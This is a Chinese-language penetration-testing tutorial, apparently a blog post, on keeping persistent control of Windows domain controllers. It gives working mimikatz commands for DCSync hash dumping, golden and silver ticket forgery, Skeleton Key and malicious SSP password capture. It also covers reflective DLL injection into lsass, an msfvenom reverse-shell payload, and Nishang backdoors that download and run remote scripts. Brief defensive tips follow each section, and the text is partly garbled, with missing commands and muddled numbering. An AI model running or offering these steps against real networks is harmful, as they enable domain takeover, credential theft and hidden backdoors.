内网渗透基石篇--权限维持分析(下)
前言:以星流之名。 你所珍视的,为你守护。 你所丢失的,为你寻回。 你会看到太阳每一天为你升起,看到星辰永远照耀。 以星流之名,永以为诺。
上篇文章:https://www.freebuf.com/articles/web/283870.html
一、DSRM域后门
1.DSRM域后门简介
DSRM(目录服务恢复模式,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器占用一个本地账户账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使环境的运行恢复正常。修改方法。修改DSRM密码的基本原理是在DC上运行ntdsutil命令行工具。在渗透测试中,可以使用DSRM域对域环境进行持久化操作。如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。在Windows Server 2008以后版本木的系统中无需安装此补丁方法。如果域控制器的系统版本为Windows Server 2003则不能进行使用我们知道,域控制器本地管理员和密码(与城管理员账号和密码不同)。DSRM 帐号可以作为一个域控制器的本地管理品用户,通过网络连接城控制器,驯服控制域控制器。
1.修改DSRM密码的方法
NTDSUTIL: 打开ndsuil
set dsrm password:设置DSRM的密码。
reset pssword on server null:在当前域控制器上恢复DSRM密码。
<PASSWORD>:修改后的密码。
q(第1次):退出DSRM密码设置模式。
q(第2次):退出ntdsutil
2.如果域控制器的系统版本为 Windows Server 208 已安装 KB961320 及以上,可以将 DSRM 密码同步为已存在的域密码。常用命令说明如下。
NTDSUTIL: 打开ntdsutil。
SET DSRM PASSWORD:设置DSRM的密码。
SYNC FROM DOMAIN ACCOUNT domainusername:使DSRM的密码和指定域用户的密码同步。
q(第1次):退出DSRM密码设置模式。
q(第2次):退出ntdsutil。
2.实验操作
1.在域控上运行mimikatz,分别读取域用户的NTLM hash和本地管理员的NTLM hash8.3.2 SSP维持域控权限
读域用户
privilege::debug
lsadump::lsa /patch /name:lrbtgt
2.读取本地管理员(DSRM)
token::elevate
lsadump::sam
3.将DSRM的哈希值与域用户同步验证下是否同步成功
修改DSRM登录方式
注册表路径是HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior
(系统默认是不存在的,请手动添加),其可能的值如下:
0(默认值):只有当 DC 重启进入 DSRM 时,你才能使用 DSRM 管理员帐户。
1:只有当本地AD DS服务停止时,你才能使用DSRM管理员帐户登录。
2:无论哪一种情况,你都可以使用 DSRM 管理员帐户登录。(不推荐,因为密码策略并不会应用到 DSRM 的管理员帐户)
我们需要修改其值为2
可以在powershell下执行
new-itemproperty "hklm:\System\CurrentControlSet\Control\Lsa\" -name "DSRMAdminLogonBehavior" -value 2 -propertyType DWORD
4.使用DSRM远程登录
在域内机器已以管理员身份运行mimikatz,执行如下命令
privilege::debug
sekurlsa::pth /domain:domainname /user:username /ntlm:ntlmhash
3.防御措施
定期检查注册表中用于控制DSRM登录方式的键值hklm:\system\currentcontrolset\control\lsa\确认该键值为1,或者删除键值。 定期修改城中所有城控制器的DSRM账号。当试设置活动目录服务还原模式的管理员密码会被记录在 4794 日志中。
二、SSP维持域控制权限
SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单地说,SSP是个DlL文件,主要支持Windows操作系统的身份认证功能,例如NTLM、Ketberos、Negotiare。Seure Channel (Schannel )、Digest、Credental (CredSSP )。SSPI (Security Support Provider Interfce.安全支持提供程序接口)是Windows在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。如果获得了网络中目标机器的系统,可以使用该方法进行持久权限化操作。其主要原理是:LSA(本地安全机构)用于验证身份;lsass.exe 是 Windows 的系统进程,用于本地安全和登录策略;在系统启动时,SSP 将被加载到 lsass.exe 进程中。但是,破坏攻击者 LSA 进行了扩展,自定义了恶意的 DLL文件,在系统启动时将其加载到LSASS.EXE进程中,就能够获取的Lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码,可以针对这一点采取相应的防御措施。
1.使用mimikatz打开
privilege::debug
misc::memssp
2.登录当前用户日志。输入用户名和密码后登录,获取明文密码,密码存储在文件。C:\Windows\System32\mimilsa.log中。
1.实验操作
实验环境:server2007
域主机 win7
1.添加ssp
将mimilib.dll复制到域控c:\windows\system32下
2、设置SSP
修改域控注册表位置:
3.在Security Packages下添加mimilib.dll
3、重启系统
域控重启后在c:\windows\system32
可看到新生成的文件kiwissp.log,里面含用户名和密码。
三、 SID历史域后门
每个用户拥有自己的 SID。SID 的作用主要是追踪安全主体控制用户连接资源时的访问权限。SID 历史是在迁移过程中需要使用的一个属性。
如果将域中域的用户迁移到 B 域中,那么在 B域中新建的 SID 会唤醒一个用户影响迁移后用户的权限,导致迁移后无法访问用户本来的资源。 SID的作用是在域迁移中过程域用户的访问,即如果迁移后用户的SID改变了系统,保持迁移其原始的SID到迁移后的用户的SID属性中,使迁移后的SID用户的历史用户或者保持原有权限、能够访问其原来可以访问的资源。使用mimikaz,可以将SID历史属性添加到域中任意用户的SID历史属性中。在渗透测试中,如果获得了管理员权限(等同于)域管理员的权限)。就可以将 SIDHisoy 实现为持久化的方法。
将Administrator的SID添加到恶意用户测试的SID History属性中。使用powershell查看用户的SID History属性
利用前提:
1.实验操作
1. 当前域与其他域有信任关系。
2. 开启SID History,与其中任意一个林开启SID History信任,即可使用下面的方法
2.GOLDen TICKet
Golden Ticket介绍
在渗透测试中,如果发现系统中存在恶意行为,应及时更改域管理员密码,对受控制的机器进行断网处理,然后进行日志分析取证。然而,攻击者往往会留下多条进入内网的通道,如果我们忘记将krbtgt账号重置,攻击者就可以很快拿到域控制器权限。
krbtgt是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt的NYLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。
攻击者在使用域的Golden Ticket(黄金票据)进行票据攻击时,通常需要掌握以下信息:
需要伪造的域管理员用户名
完整的域名
域SID
krbtgt的NTLM Hash或AES-256值
使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在),因为TGT的加密是由krbtgt完成的,所以,只要TGT被krbtgt账户和密码正确的加密,那么任意KDC使用krbtgt将TGT解密后,TGT的所有信息都是可信的。
(1)首先获取krbtgt的NTLM Hash:
在域控中输入如下命令获取krbtgt账号的NTLM Hash:
mimikatz lsadump:dcsync /domain:pinger.testlab /user:krbtgt
(2)获取域SID:
直接输入如下命令,即可查看域内所有账号的SID,去掉末尾的就是域的SID:
(3)获取域管账号:
输入如下命令获取:
(4)获取域名:
直接输入ipconfig /all就可以获取了;
(5)使用mimikatz生成黄金票据:
然后在低权的机器上使用mimikatz生成黄金票据:
mimikatz kerberos::golden /admin:Administrator /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /krbtgt:fca1ae5638a702c6e86dda451664a858 /ticket:Administrator.kiribi
6.使用mimikatz导入票据进行PTT了:
7.最后在通过查看DC的C盘验证下权限:
dir \\dc\c$
3.Golen TIcket 攻击的防御措施
管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置,所以,要想防止Golden Ticket攻击,就需要将krbtgt密码重置两次。
四、Silver Ticket(白银票据)
Silver Ticket(白银票据)不同于Golden Ticket。Silver Ticket的利用过程是伪造TGS,通过已知授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT真伪进行校验。
Silver Ticket依赖于服务账号的密码散列值,这不同于Golden Ticket利用需要使用krbtgt账号密码的散列值,因此更加隐蔽。
Golden Ticket使用krbtgt账号的密码散列值,利用伪造最高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获得域控制器权限。而Silver Ticket会通过相应的账号服务来伪造TGS,范围有限,只能获得对应的权限服务。Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的。
攻击者在使用Silver Ticket对内网进行攻击时,需要掌握以下信息:
域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
需要伪造的用户名
1.实验操作
(1)首先获取服务账号的NTLM Hash:
在域控中输入如下命令:
(2)使用mimikatz生成白银票据:
然后使用mimikatz生成CIFS服务的白银票据并导入内存:
mimikatz kerberos::golden /domain:pinger.testlab /sid:S-1-5-21-1981736034-2187932818-3398635097 /target:dc.pinger.testlab /service:cifs /rc4:635260b8259e41feed71f6f0b0fd0f64 /user:Administrator /ptt
(3).成功拿到目录。
2.Silver Ticket攻击的防范措施
在内网中安装杀毒软件,及时更新系统补丁
使用组策略在域中进行相应的设置,现值mimikatz在内网中的使用
计算机的账号密码默认30天清理一次,检查该设置是否生效
3.实验操作
(1)在域控中直接执行mimikatz,如下命令所示:
mimikatz misc::skeleton
(2)然后直接在低权限的机器上尝试用万能密码登录:
万能密码为“mimikatz”,使用SMB登录。
shell net use \\dc\ipc$ "mimikatz" /user:pinger.testlab\Administrator
4.Skeleton Key
使用Skeleton Key(万能密码),可以对域内权限进行持久化操作。
Skeleton Key攻击的防范措施
域管理员要设置强口令,确保恶意代码不会再域控制器内执行
在所有域用户中启动双因子认证,例如智能卡认证
启动应用程序的白名单,以限制mimakatz在域控制器中的运行
Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。攻击者可以利用该功能获取用户修改密码时输入的密码明文。
5.Hook PasswordChangeNotify攻击的防御措施
使用Hook PasswordChangeNotify不需要重启系统、不会再系统磁盘上留下DLL文件、不需要修改注册表。如果Hook PasswordChangeNotify被攻击者利用,网络管理员是很难检测到的。所以,在日常的网络维护工作中,需要对PowerShell进行严格检视,并启用约束语言模式,对Hook PasswordChangeNotify进行防御。
1.实验操作
分别输人如下命令,使用Invoke RefletivePEIniection.psl将HookPasswordChange.dl注人内存,在目标系统中启动管理员权限的PowerShell
Import-Module .\Invoke-ReflectivePEInjection.psl
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
修改用户密码
net user administrator 123
查看c:\windows\temp\passwords.txt可以看到修改后的密码。
6. Nishang 下的脚本后门分析与防范
Nishang是基于Porsthel的渗透测试工具,集成了很多框架、脚本及各种 Payload在Nishang环境中对一些脚本后门进行分析。
1. HTTP-Backdoor脚本
此脚本可以帮助攻击者在目标主机上下载和执行Powershell脚本,接收来自第三方网站的指令,在内存中执行PowerShell脚本,其语法如下。
TTP-Backdoor -CheckURL http:// -PayloadURL http:// -MagicString start -StopString stop
CheckURL:给出一个URL地址。如果该地址存在,Magistring中的值就会执行Payload,下载并运行攻击者的脚本。
-PayloadURL: 给出需要下载的PowerShell脚本的地址。
-StopString: 判断是否存在CheckURL返回的字符串,如果存在则停止执行。
2.Add-ScrnSaveBackdoor
Add ScrnSaveBackdoor脚本可以帮助攻击者利用Windows的屏幕保护程序来安插一个隐藏的后门
Add-ScrnSaveBackdoor -Payload "powershe1l.exe -ExecutionPolicy Bypass -ncprofile -noexit -c Get-Process" ##执行Payload
Add-ScrnsaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm -Arguments HTTP-Backdoor http://... start123 stopthis #在PowerShell中执行一个HTTP-Backdoor脚本
Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code exec.psl -PayloadURL:指定需要下载的脚本的地址。
Arguments:指定需要执行的函数及相关参数。
攻击者也会使用msfvenom生成一个PowerShell, 然后执行如下命令,返回一个meterpreter。
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell
3.Execute- -OnTime
Execute-OnTime脚本用于在目标主机上指定PowerShell脚本的执行时间,与HTTP-Backdoor脚本的使用方法相似,只不过增加了定时功能,其语法如下。
PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get- Information -Time 23:21 -CheckURL http:/ /pastebin. com/ raw .php?i=zhyf8rwh一 Stopstring stoppayload
PayloadURL:指定下载的脚本的地址。
-Arguments: 指定要执行的函数名。
-Time: 设置脚本执行的时间,例如“-Time 23:21”。
-CheckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行。
4. Invoke- ADSBackdoor
Invoke-ADSBackdoor脚本能够在NTFS数据流中留下一个 永久性的后门。这种方法的威胁是很大的,因为其留下的后门是永久性的,且不容易被发现。
Invoke-ADSBackdoor脚本用于向ADS注人代码并以普通用户权限运行。
Invoke-ADSBackdoor -PayloadURL http://192.168.12.110/test.ps1
总结
后门是权限维持的重要一步,要想持续控制,就得做一些后门上去,后门是绕过安全控制获取对程序或系统访问权限的方法。此篇文章主要介绍一些常用的生成后门的方式,以及如何进行防御后门。
- 点赞
- 收藏
- 关注作者
评论(0)